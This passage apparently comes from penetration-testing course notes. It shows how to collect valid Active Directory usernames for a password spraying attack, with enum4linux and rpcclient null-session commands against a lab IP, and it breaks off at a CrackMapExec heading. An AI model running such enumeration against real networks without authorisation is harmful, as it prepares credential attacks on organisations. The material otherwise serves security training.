To mount a successful password spraying attack, we first need a list of valid domain users to attempt to authenticate with.

There are several ways that we can gather a target list of valid users:

SMB NULL Session:

Some tools that can leverage SMB NULL sessions and LDAP anonymous binds include enum4linuxrpcclient, and CrackMapExec, among others.

Using enum4linux

enum4linux -U 172.16.5.5  | grep "user:" | cut -f2 -d"[" | cut -f1 -d"]"

Using rpcclient

rpcclient -U "" -N 172.16.5.5
rpcclient $> enumdomusers

CrackMapExec with -users flag: